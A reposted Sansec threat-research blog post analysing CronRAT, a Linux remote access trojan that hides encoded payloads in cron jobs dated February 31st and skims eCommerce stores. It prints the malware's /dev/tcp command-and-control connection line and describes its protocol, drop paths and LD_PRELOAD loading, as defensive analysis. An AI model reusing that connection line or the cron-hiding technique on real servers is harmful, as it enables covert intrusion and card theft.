惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
P
Proofpoint News Feed
宝玉的分享
宝玉的分享
人人都是产品经理
人人都是产品经理
博客园_首页
爱范儿
爱范儿
博客园 - 叶小钗
aimingoo的专栏
aimingoo的专栏
S
SegmentFault 最新的问题
MyScale Blog
MyScale Blog
阮一峰的网络日志
阮一峰的网络日志
IT之家
IT之家
Microsoft Security Blog
Microsoft Security Blog
Blog — PlanetScale
Blog — PlanetScale
博客园 - 【当耐特】
Y
Y Combinator Blog
量子位
博客园 - 三生石上(FineUI控件)
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
T
The Blog of Author Tim Ferriss
月光博客
月光博客
有赞技术团队
有赞技术团队
Apple Machine Learning Research
Apple Machine Learning Research
A
About on SuperTechFans

Sansec - experts in eCommerce security

GorgonAgora: 4,800+ fake storefronts skim cards across hundreds of impersonated brands Sansec adds support for Sylius 1 & 2 Critical vulnerability in Mirasvit Cache Warmer for Magento Critical FunnelKit vulnerability threatens 40,000+ WooCommerce checkouts Composer vulnerability leaks GitHub tokens, threatens PHP supply chain Over 200 PrestaShop stores expose installer, allowing full takeover ClickFix malware hits DoD cybersecurity vendor homepage SVG Onload Tag Hides Magecart Skimmer on 99 Stores Mass PolyShell attack wave hits 471 stores in one hour Novel WebRTC skimmer bypasses security controls at $100+ billion car maker PolyShell: unrestricted file upload in Magento and Adobe Commerce Digital skimmer hits global supermarket chain Building a faster YARA engine in pure Go Magento Developers Impersonated in Targeted GitHub Malware Operation Claude finds 353 zero-days on Packagist The billion-dollar security.txt problem Keylogger targets 200,000+ employees at major US bank ConnectPOS leaked Github secrets for years Critical backdoor found in MGT Varnish extension SessionReaper attacks have started, 3 in 5 stores still vulnerable SessionReaper, unauthenticated RCE in Magento & Adobe Commerce (CVE-2025-54236) Adobe patches critical Magento admin takeover via menu injection Backdoor found in popular ecommerce components Found defunct.dat on your site? You've got a problem. You have 2 weeks left to set up CSP for your store Merchants left guessing at last-minute PCI-DSS u-turn Magento Security Release APSB25-08 [Impact Analysis] Sorry, client-side security does not work Google services abused in skimming campaigns Thousands of Adobe Commerce stores hacked in competing CosmicSting campaigns
CronRAT malware hides behind February 31st
Sansec Forensics Team · 2021-11-24 · via Sansec - experts in eCommerce security

At this time of year we typically see a surge in eCommerce attacks and new malware. Last week we analyzed a clever malware attacking online stores, and today we expose another, much more sophisticated threat. It is a Remote Access Trojan (RAT) and we have named it CronRAT.

Sansec found CronRAT to be present on multiple online stores, among them a nation's largest outlet. Because of its novel execution, we had to rewrite part of our eComscan algorithm in order to detect it. CronRAT is currently undetected by other security vendors.

CronRAT's main feat is hiding in the calendar subsystem of Linux servers ("cron") on a nonexistant day. This way, it will not attract attention from server administrators. And many security products do not scan the Linux cron system.

CronRAT facilitates persistent control over an eCommerce server. Sansec has studied several cases where the presence of CronRAT lead to the injection of payment skimmers (aka Magecart) in server-side code.

Sansec director of threat research Willem de Groot observes:

Digital skimming is moving from the browser to the server and this is yet another example. Most online stores have only implemented browser-based defenses, and criminals capitalize on the unprotected back-end. Security professionals should really consider the full attack surface.

CronRAT's stealth capabilities pose a serious threat to Linux eCommerce servers:

  • Fileless execution
  • Timing modulation
  • Anti-tampering checksums
  • Controlled via binary, obfuscated protocol
  • Launches tandem RAT in separate Linux subsystem
  • Control server disguised as "Dropbear SSH" service
  • Payload hidden in legitimate CRON scheduled task names

Technical analysis

Malicious cronjob tasks

The CronRAT adds a number of tasks to crontab with a curious date specification: 52 23 31 2 3. These lines are syntactically valid, but would generate a run time error when executed. However, this will never happen as they are scheduled to run on February 31st. Instead, the actual malware code is hidden in the task names and is constructed using several layers of compression and base64 decoding.

Malicious code

The actual payload (see raw and annotated copy) is a sophisticated Bash program that features self-destruction, timing modulation and a custom binary protocol to communicate with a foreign control server. As one security engineer remarks:

I thought I had mastered bash, but that script is giving me a headache😅

— アルミ (@schrotthaufen) November 25, 2021

Upon launch, it contacts the control server using an uncommon method for TCP communication:

eval "exec 3<>/dev/tcp/796077735/$((0x1bb))" &>/dev/null || exit_with_code 5

This resolves to port 443 on 47.115.46.167, an Alibaba hosted IP. This service generates a banner for the Dropbear SSH service, which is commonly installed on embedded devices. However, this is clearly a disguise.

Payloads

CronRAT implements a custom binary protocol with random checksums, to avoid detection by firewalls and packet inspectors.

send_to_upstream function

Once a connection with the C&C server is established, CronRAT takes these steps:

  1. Discards the fake SSH-2.0-dropbear_2017.75 banner.
  2. Sends a password, the cio command and then (presumably) a host identifier.
  3. Waits for a sd (self-destruct) or ev (eval) command from the control server
  4. Sends prm command and password/identifier, then receives command parameters for the sidekick RAT
  5. Sends dwn command and receives malicious dynamic library
  6. Library is saved to one of these paths: /dev/shm, /run/user/UID, /tmp, /var/tmp, HOME, with one of these file names: www-shared, server-worker-shared, sql-shared, php-shared, systemd-user.lock, php.lock, php-fpm.lock, www-server.lock, php_sess_RANDOM, zend_cache___RANDOM, php_cache, www_cache, worker_cahce (sic), logo_edited_DATE.png, user_edited_DATE.css, custom_edited_DATE.css
  7. Runs custom prm command with the custom library loaded via LD_PRELOAD.
  8. Monitors custom command for 5 seconds and, depending on success, sends ssc, ser or sun command.
  9. Finishes with cex command.

This essentially allows the RAT operator to run any code.

Coming up

In order to study the control server's behavior, we wrote a specially crafted RAT client to intercept commands. And we tricked the C2 server into sending us yet another RAT, which manages to embed itself in the Nginx web server process. Read about NginRAT.

We greatly appreciate the help of Cipriano Groenendal at Hypernode for providing malware samples and valuable analysis.

Read more